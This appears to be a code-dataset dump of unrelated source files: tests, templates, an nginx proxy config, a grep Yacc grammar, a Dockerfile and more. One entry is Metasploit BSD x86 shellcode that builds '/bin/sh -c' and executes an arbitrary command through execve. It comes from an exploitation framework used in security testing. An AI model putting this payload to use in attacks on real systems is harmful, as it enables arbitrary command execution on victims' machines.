content
stringlengths 4
1.04M
| lang
stringclasses 358
values | score
int64 0
5
| repo_name
stringlengths 5
114
| repo_path
stringlengths 4
229
| repo_licenses
listlengths 1
8
|
|---|---|---|---|---|---|
# This file is a part of Julia. License is MIT: https://julialang.org/license
@testset "Floating point numbers - basic tests" begin
@test 4.00000000000001 ≈ 4.0
@test 5.0 ≈ 4.999999999999993
@test 4.000000002 ≉ 4.00300002
end
@testset "Other tolerance levels" begin
@test 4.32 ≈ 4.3 rtol=0.1 atol=0.01
@test 1.001 ≈ 1.002 rtol=0.001 atol=0.0001
@test 4.5 ≉ 4.9 rtol=0.001 atol=0.001
end
@testset "Complex numbers" begin
@test 1.0 + 1.0im ≈ 1.0 + 1.00000000000001im
@test 0.9999999999999 + 1.0im ≈ 1.0 + 1.000000000000001im
@test 0.9999 + 1.0im ≈ 1.0 + 1.1im rtol=0.0001 atol=1.1
end
@testset "Complex <-> reals" begin
@test 1.0 + 0im ≈ 1.0000000000001
@test 0.9999999999999 ≈ 1.0 + 0im
@test 1.0+1im ≉ 1.000000000000001
end
@testset "Comparing NaNs" begin
@test 4.0 ≉ NaN
@test NaN ≉ 4.0
@test complex(2.3,NaN) ≉ complex(NaN,2.3)
@test NaN ≉ NaN
@test complex(NaN,NaN) ≉ complex(NaN,NaN)
@test complex(NaN,2.3) ≉ complex(NaN,2.3)
@test complex(2.3,NaN) ≉ complex(2.3,NaN)
end
@testset "Comparing Infs" begin
@test Inf ≈ Inf
@test Inf ≉ 1
@test Inf ≉ -Inf
@test complex(0.0,Inf) ≈ complex(0.0,Inf)
@test complex(0.0,Inf) ≉ complex(0.0,-Inf)
end
@testset "integers and rationals" begin
@test 4 ≈ 4
@test 4 ≈ 5 atol=1
@test 4 ≉ 6 atol=1
@test 4 ≉ 5
@test 1//2+3im ≈ 1//2+3im
@test 1//3 ≈ 0.33333333333333333
@test 1//3 ≈ 0.3333 rtol=0.0001 atol=0.0001
@test 1+1im ≈ 1im+1
end
# Notably missing from this test suite at the moment
# * Tests for other magnitudes of numbers - very small, very big, and combinations of small and big
# * Tests for various odd combinations of types, e.g. x::Integer ≈ y::Rational
# issue #12375:
@test 1e17 ≉ 1
@testset "Tests for arrays:" begin
@test [1,2,3] ≈ [1,2,3+1e-9]
@test [0,1] ≈ [1e-9, 1]
@test [0,Inf] ≈ [0,Inf]
@test [0,Inf] ≉ [0,-Inf]
end
@testset "issue #19936" begin
for elty in (Float16,Float32,Float64)
nan = elty(NaN)
half = elty(0.5)
@test nan ≉ nan
@test nan ≈ nan nans=true
@test [half, nan, half] ≉ [half, nan, half]
@test [half, nan, half] ≈ [half, nan, half] nans=true
end
end
| Julia | 4 | greimel/julia | test/floatapprox.jl | [
"Zlib"
] |
= simple_form_for @identity do |f|
= f.input :old_password
= f.input :password
= f.input :password_confirmation
hr.split
= f.button :wrapped, cancel: settings_path
| Slim | 3 | gsmlg/peatio | app/views/identities/edit.html.slim | [
"MIT"
] |
PREFIX : <http://example.org/ns#>
SELECT ?p ?v
{ :x ?p (?v) . }
| SPARQL | 2 | Hendrikto/jena | jena-arq/testing/DAWG-Final/basic/list-3.rq | [
"Apache-2.0"
] |
import {Component, NgModule} from '@angular/core';
@Component({selector: 'my-app', template: '<div @attr [@binding]="exp"></div>'})
export class MyApp {
exp!: any;
any!: any;
}
@NgModule({declarations: [MyApp]})
export class MyModule {
}
| TypeScript | 3 | John-Cassidy/angular | packages/compiler-cli/test/compliance/test_cases/r3_view_compiler/animations/static_animation_attribute.ts | [
"MIT"
] |
@app
multihandler
@http
get /deno/index.js
get /deno/mod.js
get /deno/index.ts
get /deno/mod.ts
get /deno/index.tsx
get /deno/mod.tsx
@aws
runtime deno
| Arc | 3 | copperinc/sandbox | test/mock/multihandler/app.arc | [
"Apache-2.0"
] |
"""Tests for the Velbus component initialisation."""
import pytest
from homeassistant.components.velbus.const import DOMAIN
from homeassistant.config_entries import ConfigEntry, ConfigEntryState
from homeassistant.core import HomeAssistant
from tests.common import mock_device_registry
@pytest.mark.usefixtures("controller")
async def test_unload_entry(hass: HomeAssistant, config_entry: ConfigEntry):
"""Test being able to unload an entry."""
await hass.config_entries.async_setup(config_entry.entry_id)
await hass.async_block_till_done()
assert len(hass.config_entries.async_entries(DOMAIN)) == 1
assert config_entry.state is ConfigEntryState.LOADED
assert await hass.config_entries.async_unload(config_entry.entry_id)
await hass.async_block_till_done()
assert config_entry.state is ConfigEntryState.NOT_LOADED
assert not hass.data.get(DOMAIN)
@pytest.mark.usefixtures("controller")
async def test_device_identifier_migration(
hass: HomeAssistant, config_entry: ConfigEntry
):
"""Test being able to unload an entry."""
original_identifiers = {(DOMAIN, "module_address", "module_serial")}
target_identifiers = {(DOMAIN, "module_address")}
device_registry = mock_device_registry(hass)
device_registry.async_get_or_create(
config_entry_id=config_entry.entry_id,
identifiers=original_identifiers,
name="channel_name",
manufacturer="Velleman",
model="module_type_name",
sw_version="module_sw_version",
)
assert device_registry.async_get_device(original_identifiers)
assert not device_registry.async_get_device(target_identifiers)
await hass.config_entries.async_setup(config_entry.entry_id)
await hass.async_block_till_done()
assert not device_registry.async_get_device(original_identifiers)
device_entry = device_registry.async_get_device(target_identifiers)
assert device_entry
assert device_entry.name == "channel_name"
assert device_entry.manufacturer == "Velleman"
assert device_entry.model == "module_type_name"
assert device_entry.sw_version == "module_sw_version"
| Python | 4 | MrDelik/core | tests/components/velbus/test_init.py | [
"Apache-2.0"
] |
%{
#include "grep.h"
%}
%union
{
int val;
char* str;
Re2 re;
}
%type <re> expr prog
%type <re> expr0 expr1 expr2 expr3 expr4
%token <str> LCLASS
%token <val> LCHAR
%token LLPAREN LRPAREN LALT LSTAR LPLUS LQUES
%token LBEGIN LEND LDOT LBAD LNEWLINE
%%
prog:
expr newlines
{
$$.beg = ral(Tend);
$$.end = $$.beg;
$$ = re2cat(re2star(re2or(re2char(0x00, '\n'-1), re2char('\n'+1, 0xff))), $$);
$$ = re2cat($1, $$);
$$ = re2cat(re2star(re2char(0x00, 0xff)), $$);
topre = $$;
}
expr:
expr0
| expr newlines expr0
{
$$ = re2or($1, $3);
}
expr0:
expr1
| LSTAR { literal = 1; } expr1
{
$$ = $3;
}
expr1:
expr2
| expr1 LALT expr2
{
$$ = re2or($1, $3);
}
expr2:
expr3
| expr2 expr3
{
$$ = re2cat($1, $2);
}
expr3:
expr4
| expr3 LSTAR
{
$$ = re2star($1);
}
| expr3 LPLUS
{
$$.beg = ral(Talt);
patchnext($1.end, $$.beg);
$$.beg->u.alt = $1.beg;
$$.end = $$.beg;
$$.beg = $1.beg;
}
| expr3 LQUES
{
$$.beg = ral(Talt);
$$.beg->u.alt = $1.beg;
$$.end = $1.end;
appendnext($$.end, $$.beg);
}
expr4:
LCHAR
{
$$.beg = ral(Tclass);
$$.beg->u.x.lo = $1;
$$.beg->u.x.hi = $1;
$$.end = $$.beg;
}
| LBEGIN
{
$$.beg = ral(Tbegin);
$$.end = $$.beg;
}
| LEND
{
$$.beg = ral(Tend);
$$.end = $$.beg;
}
| LDOT
{
$$ = re2class("^\n");
}
| LCLASS
{
$$ = re2class($1);
}
| LLPAREN expr1 LRPAREN
{
$$ = $2;
}
newlines:
LNEWLINE
| newlines LNEWLINE
%%
void
yyerror(char *e, ...)
{
if(filename)
fprint(2, "grep: %s:%ld: %s\n", filename, lineno, e);
else
fprint(2, "grep: %s\n", e);
exits("syntax");
}
int
yylex(void)
{
char *q, *eq;
int c, s;
if(peekc) {
s = peekc;
peekc = 0;
return s;
}
c = getrec();
if(literal) {
if(c != 0 && c != '\n') {
yylval.val = c;
return LCHAR;
}
literal = 0;
}
switch(c) {
default:
yylval.val = c;
s = LCHAR;
break;
case '\\':
c = getrec();
yylval.val = c;
s = LCHAR;
if(c == '\n')
s = LNEWLINE;
break;
case '[':
goto getclass;
case '(':
s = LLPAREN;
break;
case ')':
s = LRPAREN;
break;
case '|':
s = LALT;
break;
case '*':
s = LSTAR;
break;
case '+':
s = LPLUS;
break;
case '?':
s = LQUES;
break;
case '^':
s = LBEGIN;
break;
case '$':
s = LEND;
break;
case '.':
s = LDOT;
break;
case 0:
peekc = -1;
case '\n':
s = LNEWLINE;
break;
}
return s;
getclass:
q = u.string;
eq = q + nelem(u.string) - 5;
c = getrec();
if(c == '^') {
q[0] = '^';
q[1] = '\n';
q[2] = '-';
q[3] = '\n';
q += 4;
c = getrec();
}
for(;;) {
if(q >= eq)
error("class too long");
if(c == ']' || c == 0)
break;
if(c == '\\') {
*q++ = c;
c = getrec();
if(c == 0)
break;
}
*q++ = c;
c = getrec();
}
*q = 0;
if(c == 0)
return LBAD;
yylval.str = u.string;
return LCLASS;
}
| Yacc | 3 | newluhux/plan9port | src/cmd/grep/grep.y | [
"MIT"
] |
client_max_body_size 1k;
########### hash #############
# map変数のハッシュテーブルのbucketサイズを設定
map_hash_bucket_size 128;
# map変数のハッシュテーブルの最大size
map_hash_max_size 2048;
##############################
######### autoindex ##########
#autoindex on;
#autoindex_exact_size off;
#autoindex_localtime on;
##############################
# Syntax: map string $variable { ... }
# Context: http
map $http_user_agent $device {
default pc;
=curl/7.66.0 Perfect_Match;
~curl $http_user_agent;
}
# プロキシのキャッシュ用のパス
# levels : キャッシュを保存するディレクトリ階層とディレクトリ名の文字数
# keys_zone : proxy_cacheディレクティブで指定するキー
proxy_cache_path /var/cache/nginx/proxy_temp/domain
levels=1:2
keys_zone=cache_domain:15m
max_size=100m
use_temp_path=on
inactive=10s;
# Dos攻撃対策 DDosには非対応。。
# limit_req_zone [キー名] [zone名] [リクエスト数]
limit_req_zone $binary_remote_addr zone=one:10m rate=100r/s;
upstream backend {
# 接続先選定のアルゴリズム
least_conn;
# ip_hash;
# 300s以内に3回リクエストが失敗したら300s以下のサーバへリクエストしない
server webapp001:5000 weight=5 max_fails=3 fail_timeout=60s;
# server webapp002:5000 weight=5 max_fails=3 fail_timeout=60s;
# 他サーバが死んだらbackupへリクエスト
# server webapp003:5000 backup;
# コールドスタンバイ、downを指定していう限りはリクエストは飛ばない
# server webapp004 down;
}
server {
listen 80;
server_name example.com;
return 301 https://$host$request_uri;
}
server {
server_name nginx.dev.com;
listen 443 ssl;
# メンテナンスモード用のフラグ
set $maintenance 0;
# Dos攻撃対策(5リクエスト/秒以上のリクエストで503を返す)
limit_req zone=one burst=5;
# SSL証明書ファイルのパス
ssl_certificate /etc/ssl/certs/server.crt;
# 秘密鍵ファイルのパス
ssl_certificate_key /etc/ssl/certs/server.key;
# SSLのセッションキャッシュ
ssl_session_cache shared:SSL:10m;
# SSLセッションキャッシュのタイムアウト
ssl_session_timeout 5m;
# SSL/TLSプロトコルの指定
ssl_protocols TLSv1.2 TLSv1.3;
# サーバ側指定の暗号化プロトコルの優先設定
ssl_ciphers HIGH:!aNULL:!MD5;
# サーバ指定の暗号化スイートが優先されるように設定
ssl_prefer_server_ciphers on;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
# faviconのログは取らない
location = /favicon.ico {
log_not_found off;
access_log off;
}
# Nginxサーバのステータスチェック
location /__status {
stub_status on;
# ローカル、同一ネットワーク内からのみアクセス可能
allow 127.0.0.1;
allow 192.168.2.0/24;
deny all;
}
# 完全なURIを与えているので/app/は削除され/へアクセス(/uri,/uri/も同様)
location /uri/ {
root /usr/share/nginx/html;
# HTTPメソッドを指定してクライアントにキャッシュさせない
if ($request_method = "HEAD") {
expires -1;
}
# メンテナンス時はメンテナンスページを返す
if ($maintenance) {
return 503;
}
# 許可するメソッドを定義
limit_except GET POST PUT HEAD OPTIONS {
allow all;
}
# 転送先のupstremを指定
proxy_pass http://backend/;
# プロキシ時のhttpのバージョンを指定
proxy_http_version 1.1;
# リバースプロキシ時にリダイレクトをするk
proxy_redirect off;
# バッファリングするかどうか設定(offだとキャッシュをしない)
proxy_buffering on;
# バッファのサイズ
proxy_buffer_size 4k;
# proxy_buffer_sizeの次に使われるメモリ上のサイズ数
proxy_buffers 8 4k;
# プロキシのキャッシュ
proxy_cache cache_domain;
# リクエストのためにキーが計算される方法を定義
proxy_cache_key $host$uri$is_args$args;
# キャッシュを行うステータスコードとその際の有効期限を指定
# 404などをキャッシュすると結果のみをキャッシュする
proxy_cache_valid 200 201 300 301 302 1d;
# 下記がヘッダーにある場合はキャッシュを使用しない
# proxy_ignore_headers X-Accel-Redirect X-Accel-Expires Cache-Control Expires Vary Set-Cookie;
proxy_ignore_headers X-Accel-Redirect X-Accel-Expires Cache-Control Expires Vary;
# レスポンスヘッダにキャッシュヒットしたかどうかを含める
add_header X-Nginx-Cache $upstream_cache_status;
# セキュリティ関連ヘッダー
add_header X-XSS-Protection "1; mode=block";
add_header X-Frame-Options DENY;
add_header X-Content-Type-Options nosniff;
# add_header Strict-Transport-Security max-age=15768000;
add_header Strict-Transport-Security 'max-age=31536000; includeSubDomains; preload'; #hsts対策
add_header Referrer-Policy no-referrer always;
# コネクション接続までのタイムアウト
proxy_connect_timeout 60s;
# バックエンドサーバからの受信完了までの時間
proxy_read_timeout 100s;
# バックエンドサーバへのデータ送信完了までの時間
proxy_send_timeout 60s;
# 失敗したリクエストを他のサーバに再送する条件(offにすることも可能)
proxy_next_upstream error timeout http_504;
# Nginx 側でリクエストがタイムアウトしたと判断するまでの時間
# この設定を入れることで上位サーバがタイムアウトした際に次のサーバへリクエストを投げない
proxy_next_upstream_timeout 60s;
# 条件に合致したリクエストを、最大で何台のサーバに送信するか
proxy_next_upstream_tries 1;
# エラー時でもproxy先ではなくngixnのエラーを返す
proxy_intercept_errors on;
# クライントとの接続でのタイムアウト
keepalive_timeout 60s;
# 持続的な接続上で許可されるリクエストの数を設定
keepalive_requests 100;
###### proxy_set_header #####
proxy_set_header Host $http_host;
proxy_set_header Uri $uri;
proxy_set_header Method $request_method;
proxy_set_header Scheme $scheme;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Server $host;
proxy_set_header X-Ua-Mapping $device;
##############################
}
location /no_uri {
proxy_pass http://backend;
}
# 画像関連 / キャッシュのテストなど用
location /images/ {
root /usr/share/nginx/html;
try_files $uri $uri.png;
etag on;
}
error_page 404 /404.html;
location = /404.html {
root /usr/share/nginx/html;
internal;
}
error_page 503 /503.json;
error_page 500 502 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}
server {
listen 443 ssl http2;
server_name ib.dev.com;
# SSL証明書ファイルのパス
ssl_certificate /etc/ssl/certs/server_wild.crt;
# 秘密鍵ファイルのパス
ssl_certificate_key /etc/ssl/certs/server_wild.key;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
# 転送先のupstremを指定
proxy_pass http://backend/;
proxy_set_header X-AA aaa;
}
}
| Nginx | 5 | ryuichi1208/poc-nginx | nginx/config/ssl_offload.nginxconf | [
"Apache-2.0"
] |
;; -*- no-byte-compile: t; -*-
;;; editor/objed/packages.el
(package! objed :pin "70f9fb5e0aa1627b0afc7c6b3d0aea9bac70a210")
| Emacs Lisp | 0 | leezu/doom-emacs | modules/editor/objed/packages.el | [
"MIT"
] |
// Daniel Shiffman
// http://codingtra.in
// http://patreon.com/codingtrain
// Machine Learning
// Perceptron
// More: http://natureofcode.com/book/chapter-10-neural-networks/
// Video: https://youtu.be/ntKn5TPHHAk
// The activation function
int sign(float n) {
if (n >= 0) {
return 1;
} else {
return -1;
}
}
class Perceptron {
float[] weights = new float[2];
float lr = 0.1;
// Constructor
Perceptron() {
// Initialize the weights randomly
for (int i = 0; i < weights.length; i++) {
weights[i] = random(-1, 1);
}
}
int guess(float[] inputs) {
float sum = 0;
for (int i = 0; i < weights.length; i++) {
sum += inputs[i]*weights[i];
}
int output = sign(sum);
return output;
}
void train(float[] inputs, int target) {
int guess = guess(inputs);
int error = target - guess;
// Tune all the weights
for (int i = 0; i < weights.length; i++) {
weights[i] += error * inputs[i] * lr;
}
}
}
| Processing | 5 | aerinkayne/website | Courses/intelligence_learning/session4/SimplePerceptron/Perceptron.pde | [
"MIT"
] |
open native
#eval to_bool ("a" < "b")
#eval to_bool ("b" < "b")
namespace test1
meta def m := rb_map.mk string nat
meta def m' := m.insert "foo" 10
#eval m'.find "foo"
end test1
namespace test2
meta def m := rb_map.mk nat nat
meta def m' := m.insert 3 10
#eval m'.find 3
end test2
| Lean | 3 | ericrbg/lean | tests/lean/vm_string_lt_bug.lean | [
"Apache-2.0"
] |
PREFIX : <http://example/>
PREFIX xsd: <http://www.w3.org/2001/XMLSchema#>
SELECT *
{
?x :p ?v1 .
?y :q ?v2 .
FILTER ( ?v1 != ?v2 || ?v1 = ?v2 )
}
| SPARQL | 3 | yanaspaula/rdf4j | testsuites/sparql/src/main/resources/testcases-sparql-1.0-w3c/data-r2/open-world/open-eq-11.rq | [
"BSD-3-Clause"
] |
;;
;
; Name: single_exec
; Platforms: *BSD
; Authors: vlad902 <vlad902 [at] gmail.com>
; Version: $Revision: 1499 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Execute an arbitary command.
;
;;
; NULLs are fair game.
BITS 32
global main
main:
push byte 0x3b
pop eax
cdq
push edx
push word 0x632d
mov edi, esp
push edx
push dword 0x68732f6e
push dword 0x69622f2f
mov ebx, esp
push edx
call getstr
db "/bin/ls > /tmp/test_single_exec", 0x00
getstr:
push edi
push ebx
mov ecx, esp
push edx
push ecx
push ebx
push eax
int 0x80
| Assembly | 3 | OsmanDere/metasploit-framework | external/source/shellcode/bsd/ia32/single_exec.asm | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
#%RAML 1.0 Library
# This is the file /libraries/dataTypes.raml
usage: This library defines the data types for the API
types:
Foo:
properties:
id: integer
name: string
ownerName?: string
Bar:
properties:
id: integer
name: string
city?: string
fooId: integer
Error:
properties:
code: integer
message: string
| RAML | 3 | zeesh49/tutorials | raml/modularization/libraries/dataTypes.raml | [
"MIT"
] |
[
define_tag:'lp_logical_between',
-description='Evaluates if a value is inclusively between a high and low value. Returns true or false.',
-priority='replace',
-required='value',
-required='low',
-required='high';
select: #value->type;
case:'integer';
return: (integer:#value) >= (integer:#low) && (integer:#value) <= (integer:#high);
case:'decimal';
return: (decimal:#value) >= (decimal:#low) && (decimal:#value) <= (decimal:#high);
case:'string';
return: (string:#value) >= (string:#low) && (string:#value) <= (string:#high);
case;
fail: -1, 'Value must be of type integer, decimal, or string.';
/select;
/*
lp_logical_between: 5, 2, 6;
'<br>';
lp_logical_between: 5, 2, 4;
'<br>';
lp_logical_between: 5.2, 5.199999, 5.20001;
'<br>';
lp_logical_between: 'e', 'a', 'f';
'<br>';
lp_logical_between: 'e', 'a', 'd';
*/
/define_tag;
] | Lasso | 5 | fourplusone/SubEthaEdit | Documentation/ModeDevelopment/Reference Files/LassoScript-HTML/itpage/LassoStartup/lp_logical_between.lasso | [
"MIT"
] |
module FlySuccessTests exposing (all)
import Application.Application as Application
import Common exposing (defineHoverBehaviour, queryView)
import DashboardTests exposing (iconSelector)
import Expect exposing (Expectation)
import FlySuccess.FlySuccess as FlySuccess
import Html.Attributes as Attr
import Http
import Message.Callback exposing (Callback(..))
import Message.Effects as Effects
import Message.Message
import Message.Subscription as Subscription
import Message.TopLevelMessage as Msgs
import Test exposing (..)
import Test.Html.Event as Event
import Test.Html.Query as Query
import Test.Html.Selector
exposing
( attribute
, containing
, id
, style
, tag
, text
)
import Url
all : Test
all =
test "does not send token when 'noop' is passed" <|
\_ ->
{ authToken = ""
, flyPort = Just 1234
, noop = True
}
|> FlySuccess.init
|> Tuple.second
|> Common.notContains (Effects.SendTokenToFly "" 1234)
| Elm | 4 | Caprowni/concourse | web/elm/tests/FlySuccessTests.elm | [
"Apache-2.0"
] |
-- @shouldFailWith OrphanRoleDeclaration
module Main where
type role D nominal
| PureScript | 3 | andys8/purescript | tests/purs/failing/OrphanRoleDeclaration1.purs | [
"BSD-3-Clause"
] |
#!/usr/bin/perl
# Simple script to generate a 302 HTTP redirect
print "Status: 302 Moved Temporarily\r\n";
print "Location: referrer.html\r\n";
print "Content-type: text/html\r\n";
print "\r\n";
print <<HERE_DOC_END
<html><body>
This page should not be seen - it is a 302 redirect to another page.
</body></html>
HERE_DOC_END
| Perl | 4 | zealoussnow/chromium | third_party/blink/web_tests/http/tests/navigation/resources/redirect-to-referrer-check.pl | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 130.229 87.986"><g fill="none" stroke="#626366" stroke-width="3" stroke-linejoin="round"><path d="M1.5 27.426L50.34 1.5l78.38 47.098-48.84 25.924z"/><path d="M79.88 74.52l.008 11.965L1.508 39.4 1.5 27.425z"/><path d="M79.88 74.52l48.84-25.924.008 11.965-48.84 25.924z"/></g><path d="M79.88 74.524L128.72 48.6l.008 11.966L79.89 86.49z" fill="#898b8e"/><path d="M1.5 27.427L50.34 1.502 128.72 48.6 79.88 74.524z" fill="#bbbdbf"/><path d="M79.88 74.524l.008 11.965-78.38-47.096L1.5 27.427z" fill="#b3b5b7"/><path d="M31.507 50.685l-13.47-8.093v-3.174l13.47 8.093zm-.05 4.797L18 47.4v-3.174l13.467 8.092zm38.22 17.726l-10.342-6.214v-1.037l10.342 6.215zM16.682 41.716L3.215 33.624v-3.176l13.467 8.092zm-.047 4.8L3.168 38.423V35.25l13.467 8.092zm39.015 18.63l-7.5-4.5V57.48l7.5 4.5zm0 4.874l-7.5-4.5v-3.165l7.5 4.5zm-8.968-10.304l-13.467-8.092v-3.176l13.467 8.092zm-.047 4.8l-13.467-8.092V53.25l13.467 8.092z" fill="#fefefe"/><path d="M1.893 27.33L79.88 74.19v11.995" fill="none" stroke="#dfe0df" stroke-width=".75" stroke-linecap="round" stroke-linejoin="round"/><path d="M77.867 78.823l-5.248-3.15v-3.42l5.248 3.146zm-16.525-5.606l-3.817-2.292v-2.42l3.817 2.288zm5.78 3.46l-3.817-2.292v-2.42l3.817 2.288z" fill="#fefefe"/><path d="M31.226 24.313L48.478 15.6l1.56.93-15.217 7.684 5.802 3.467-2.037 1.027zm20.75 5.483c-.84-.155-1.894-.5-3.162-1.007-.72-.293-1.282-.472-1.686-.54s-.822-.065-1.258.007-.84.2-1.207.388c-.566.285-.9.6-.974.974s.152.715.715 1.05c.557.333 1.232.54 2.022.618a7.38 7.38 0 0 0 2.422-.169c.634-.148 1.418-.458 2.352-.93l.776-.393zm-4.6 2.46c-1.202.017-2.2-.054-2.96-.2s-1.44-.406-2.007-.745c-.938-.56-1.32-1.16-1.154-1.8s.77-1.224 1.814-1.75c.612-.3 1.268-.534 1.963-.676a8.01 8.01 0 0 1 1.966-.169c.613.03 1.2.12 1.734.272.394.114.93.316 1.603.607 1.372.595 2.475.987 3.3 1.173l.56-.274c.863-.437 1.335-.825 1.415-1.166.1-.463-.2-.9-.93-1.347-.68-.407-1.358-.618-2.03-.636s-1.53.15-2.573.506l-1.132-.987c1.015-.37 1.943-.606 2.782-.705s1.685-.057 2.536.127a7.83 7.83 0 0 1 2.379.934c.728.436 1.194.852 1.398 1.25s.224.76.058 1.08-.497.653-1 .996c-.314.2-.94.555-1.882 1.03l-2.824 1.425-3.645 1.943a5.2 5.2 0 0 0-1.136.975l-1.5-.902a6.25 6.25 0 0 1 1.253-.95zm-2.846 5.312l1.827-1.1c.192.253.404.45.64.6.32.193.657.307 1.006.343a4.23 4.23 0 0 0 1.132-.05c.304-.053.977-.23 2.02-.533l.647-.185 9.284-8.257 1.558.93-5.462 4.716-2.276 1.832 3.443-1.083 9.108-2.6 1.446.866-15.956 4.478-3.647.947c-.956.2-1.762.282-2.42.247s-1.217-.188-1.678-.463c-.278-.167-.503-.396-.673-.688m21.646-.585l4.766 2.847c.986-.57 1.593-1.076 1.82-1.522.354-.686.166-1.25-.568-1.687-.664-.398-1.548-.567-2.653-.5s-2.224.35-3.364.87m1.324 4.57l1.225 1.03c-1.515.505-2.944.745-4.287.72s-2.512-.333-3.502-.924c-1.248-.746-1.674-1.622-1.28-2.626s1.608-2.022 3.64-3.048c2.103-1.062 4.105-1.665 6.004-1.8s3.44.135 4.618.84c1.14.68 1.504 1.525 1.1 2.53s-1.653 2.032-3.717 3.074l-.573.28-6.363-3.803c-1.32.726-2.105 1.416-2.36 2.068s-.022 1.193.7 1.62c.53.317 1.185.484 1.97.503s1.732-.134 2.845-.455m-.75 3.99l12.498-6.312 1.3.778-1.895.957c1.22-.25 2.1-.36 2.674-.335s1.014.14 1.352.34c.488.3.756.702.804 1.232l-2.464.695c-.047-.365-.248-.654-.602-.866-.315-.188-.738-.287-1.27-.298s-1.095.08-1.697.264c-.913.285-1.816.653-2.7 1.105l-6.543 3.304-1.447-.864zm14.226 3.48l1.728.722c-1.035.705-1.617 1.3-1.748 1.816s.092.93.666 1.273c.68.406 1.6.576 2.758.507a8.26 8.26 0 0 0 3.268-.876c.973-.5 1.56-1.025 1.757-1.604s-.04-1.067-.707-1.467c-.274-.163-.694-.327-1.256-.5l2.02-.843c.08.066.15.116.2.15.616.37 1.407.58 2.37.637s1.937-.162 2.917-.657c.777-.393 1.24-.825 1.392-1.297s-.06-.877-.625-1.217-1.3-.485-2.184-.448-1.9.286-3.052.745l-1.07-1.054c1.597-.6 3.1-.927 4.506-.947s2.577.25 3.5.805c.643.385 1.032.84 1.17 1.367s0 1.054-.412 1.577-1 .985-1.793 1.38c-.745.377-1.562.638-2.446.783a8.49 8.49 0 0 1-2.672.013 1.35 1.35 0 0 1 .157 1.71c-.355.604-1.1 1.188-2.205 1.75-1.506.76-3.158 1.18-4.955 1.262s-3.27-.22-4.416-.907c-1.033-.617-1.44-1.358-1.22-2.22s.998-1.687 2.338-2.47" fill="#010202"/></svg> | SVG | 2 | Tomkirn/drawio | src/main/webapp/img/lib/allied_telesis/switch/Switch_52_port_L3.svg | [
"Apache-2.0"
] |
FROM ubuntu:18.04
MAINTAINER PaddlePaddle Authors <[email protected]>
WORKDIR /workspace
ENV PATH /opt/python3/bin:/root/.local/bin:$PATH
ENV LD_LIBRARY_PATH $LD_LIBRARY_PATH:/opt/python3/lib
# Install Python
ADD https://mirrors.tuna.tsinghua.edu.cn/anaconda/miniconda/Miniconda3-4.7.12.1-Linux-x86_64.sh miniconda3.sh
RUN /bin/bash miniconda3.sh -b -p /opt/python3/ && \
rm -f miniconda3.sh
RUN mkdir -p ~/.pip && \
echo "[global]" >> ~/.pip/pip.conf && \
echo "trusted-host = mirrors.aliyun.com" >> ~/.pip/pip.conf && \
echo "index-url = https://mirrors.aliyun.com/pypi/simple" >> ~/.pip/pip.conf
RUN echo "channels:" >> ~/.condarc && \
echo " - conda-forge" >> ~/.condarc && \
echo " - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/" >> ~/.condarc && \
echo " - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/" >> ~/.condarc && \
echo " - defaults" >> ~/.condarc && \
echo "custom_channels:" >> ~/.condarc && \
echo " conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud" >> ~/.condarc && \
echo " msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud" >> ~/.condarc && \
echo " bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud" >> ~/.condarc && \
echo " menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud" >> ~/.condarc && \
echo " pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud" >> ~/.condarc && \
echo " simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud" >> ~/.condarc && \
echo "show_channel_urls: true" >> ~/.condarc && \
echo "channel_priority: strict" >> ~/.condarc
# Install R
RUN conda install -y r -c conda-forge
# Install PaddlePaddle
RUN /opt/python3/bin/python -m pip install \
https://paddle-wheel.bj.bcebos.com/0.0.0-cpu-mkl/paddlepaddle-0.0.0-cp37-cp37m-linux_x86_64.whl
# Install reticulate, R interface to Python
RUN Rscript -e 'install.packages("reticulate", repos="https://cran.rstudio.com")'
COPY example example
RUN cd example && \
curl -O https://paddle-inference-dist.cdn.bcebos.com/mobilenet-test-model-data.tar.gz && \
tar -zxvf mobilenet-test-model-data.tar.gz && rm mobilenet-test-model-data.tar.gz
| Dockerfile | 4 | zmxdream/Paddle | r/Dockerfile | [
"Apache-2.0"
] |
drop table EMPLOYEES if exists;
create table EMPLOYEES(
ID int not null AUTO_INCREMENT,
NAME varchar(100) not null,
TITLE varchar(100),
PRIMARY KEY ( ID )
);
| SQL | 3 | DBatOWL/tutorials | persistence-modules/spring-boot-persistence/src/test/resources/employees_schema.sql | [
"MIT"
] |
{block title}{$note->name}{/block}
{block page_title}<span>{$note->name}</span>{/block}
{block body}
<form n:name="editNote-form" class="note">
{control $form ownerrors}
{control $form body}
</form>
| Latte | 3 | aleanza/notejam | nette/doctrine/notejam/app/Presenters/templates/Note/edit.latte | [
"MIT"
] |
# Returns the area of the square with given sides
# Side length should eb given in input
side = 2
# side = float(input("Enter the side of the square: "))
#calculate area
area = side**2
print(f"Area of the given square is {area}.")
| Python | 4 | wisarut-si/Python | area_of_square.py | [
"MIT"
] |
#ifndef TEST_INTEROP_CXX_TEMPLATES_INPUTS_CLASS_TEMPLATE_WITH_PRIMITIVE_ARGUMENT_H
#define TEST_INTEROP_CXX_TEMPLATES_INPUTS_CLASS_TEMPLATE_WITH_PRIMITIVE_ARGUMENT_H
template<class T>
struct MagicWrapper {
T t;
int getValuePlusArg(int arg) const { return t + arg; }
};
typedef MagicWrapper<int> WrappedMagicInt;
#endif // TEST_INTEROP_CXX_TEMPLATES_INPUTS_CLASS_TEMPLATE_WITH_PRIMITIVE_ARGUMENT_H
